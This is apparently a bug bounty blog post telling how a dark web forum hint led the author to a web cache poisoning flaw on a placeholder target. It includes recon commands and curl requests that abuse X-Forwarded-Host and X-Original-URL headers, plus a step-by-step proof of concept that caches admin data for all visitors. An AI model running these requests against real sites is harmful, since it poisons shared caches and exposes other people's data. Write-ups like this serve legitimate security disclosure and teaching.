Hey there!😁

Some people scroll Instagram before sleeping. Some people scroll LinkedIn pretending to be productive. And then there's me… scrolling dark web forums at 2:17 AM with chai in one hand and bad life decisions in the other. ☕

That night, I wasn't looking for trouble. But trouble was definitely looking for someone curious enough to notice it.

And that curiosity turned into one of the most beautiful bug bounty findings of my life.

This isn't theory. This isn't lab practice. This is exactly how threat intelligence, recon, and one misconfigured cache exposed sensitive internal data.

Let me walk you through it.

🌑 The Night the Dark Web Gave Me a Clue

If you've ever spent time watching breach forums, you'll notice something interesting.

Attackers don't always sell full access immediately. Sometimes they drop hints. Small technical clues. Breadcrumbs.

That night, I saw a post from a seller offering:

"Access to fintech internal APIs. CDN cache weakness. Still working."

That phrase — CDN cache weakness — immediately caught my attention.

Why?

Because cache vulnerabilities are silent killers.

They don't crash servers. They don't trigger alerts. They just quietly serve poisoned responses to everyone.

And companies often don't even realize it's happening.

The post included a partial domain and a screenshot showing response headers with cache status HIT.

That was enough to begin.

🧠 Turning Threat Intelligence into Recon

Instead of randomly scanning the internet like a lost tourist, I had direction.

First step: collect all assets.

subfinder -d target.com -all -recursive -silent > subs.txt
assetfinder --subs-only target.com >> subs.txt
amass enum -passive -d target.com >> subs.txt
sort -u subs.txt -o subs.txt

Now I had a clean list of subdomains.

Next step: check which ones were alive and behind CDN.

httpx -l subs.txt -silent -status-code -tech-detect -title -web-server -cdn

Output showed:

api.target.com       [200] [Cloudflare]
gateway.target.com   [200] [Akamai]
static.target.com    [200] [Cloudflare]

Multiple CDN providers.

This increased the chances of cache-related issues significantly.

Because CDNs cache responses aggressively.

And aggressive caching with weak validation = opportunity.

🔍 JavaScript Recon — The Goldmine Nobody Talks About Enough

Most sensitive endpoints aren't documented publicly.

But developers often leave them inside JavaScript files.

So I started extracting endpoints.

katana -u https://api.target.com -d 5 -jc -silent > endpoints.txt

Then filtered interesting ones:

grep -Ei "internal|private|debug|cache|gateway|profile" endpoints.txt

One endpoint stood out immediately:

/api/edge/cache/userinfo

That word — cache — made my brain happy.

Time to test it.

🧪 First Interaction with the Endpoint

I sent a simple request:

curl -I https://api.target.com/api/edge/cache/userinfo

Response:

HTTP/2 200 OK
cache-control: public, max-age=600
cf-cache-status: HIT

A user info endpoint.

Publicly cached.

That should never happen.

User data must never be cached publicly.

This was my entry point.

⚠️ Understanding How the Cache Works

Before poisoning cache, you need to understand what the cache trusts.

Caches use something called a cache key.

Cache key decides whether response is reused or not.

Sometimes cache trusts headers it shouldn't.

So I tested with a header:

curl -I https://api.target.com/api/edge/cache/userinfo \
-H "X-Forwarded-Host: attacker.com"

First response:

cf-cache-status: MISS

Second request with same header:

cf-cache-status: HIT

This confirmed something important.

The cache trusted X-Forwarded-Host header.

And that meant I could control what gets cached.

This is where things became serious.

💣 The Moment It Worked

Now I sent:

curl https://api.target.com/api/edge/cache/userinfo \
-H "X-Forwarded-Host: attacker.com"

Response:

{
"profile_image":"https://attacker.com/image.png",
"user":"victim"
}

The server reflected my supplied host.

And cached it.

Now I tested without header:

curl https://api.target.com/api/edge/cache/userinfo

Response:

{
"profile_image":"https://attacker.com/image.png",
"user":"victim"
}

It worked.

The cache was poisoned.

The server was now serving my injected response to everyone.

Not just me.

Everyone.

That moment when you realize the application trusts you more than it should… it's scary and beautiful at the same time.

🔥 Escalating to Sensitive Information Disclosure

Poisoning image URL is cool.

But bug bounty programs pay for sensitive data exposure.

So I pushed further.

I tested internal endpoint override.

curl https://api.target.com/api/edge/cache/userinfo \
-H "X-Original-URL: /api/internal/v2/profile"

Response:

{
"email":"admin@target.com",
"role":"superadmin",
"user_id":"938274"
}

I paused.

Read it again.

This was internal admin data.

Not public.

Not authenticated.

And now cached.

To confirm, I requested normally:

curl https://api.target.com/api/edge/cache/userinfo

Same admin response.

This meant any user could receive admin data.

This crossed into critical severity.

🌑 The Creepiest Part

Two weeks later, I went back to the same dark web forum.

Someone was selling access using the exact same endpoint.

Same pattern.

Same vulnerability.

Which meant attackers were already exploiting it.

This wasn't hypothetical anymore.

This was real-world exploitation.

And I had just confirmed it independently.

🧬 Full Proof-of-Concept Workflow

Step 1: Poison cache

curl https://api.target.com/api/edge/cache/userinfo \
-H "X-Original-URL: /api/internal/v2/profile"

Step 2: Trigger caching

for i in {1..5}; do
curl https://api.target.com/api/edge/cache/userinfo
done

Step 3: Access sensitive data

curl https://api.target.com/api/edge/cache/userinfo

Sensitive admin data exposed.

🎯 Real Impact

This vulnerability allowed:

• exposure of internal admin information • global cache poisoning • sensitive data disclosure • manipulation of API responses • real attacker exploitation possibility

Severity: Critical

🧠 What This Experience Taught Me

Bug bounty isn't about running more tools.

It's about listening.

Attackers leave clues everywhere.

Dark web forums. Cached responses. Headers developers forgot to validate.

Most hunters scan endpoints.

But smart hunters follow intelligence.

That one dark web clue saved me weeks of blind recon.

❤️ Final Thoughts

That night started like any other.

Just me, chai, and curiosity.

It ended with a critical vulnerability.

The application didn't break.

It simply trusted the wrong thing.

And sometimes, that's all it takes.

Trust is fragile.

Especially on the internet.

Connect with Me!

• Instagram: @rev_shinchan
• Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF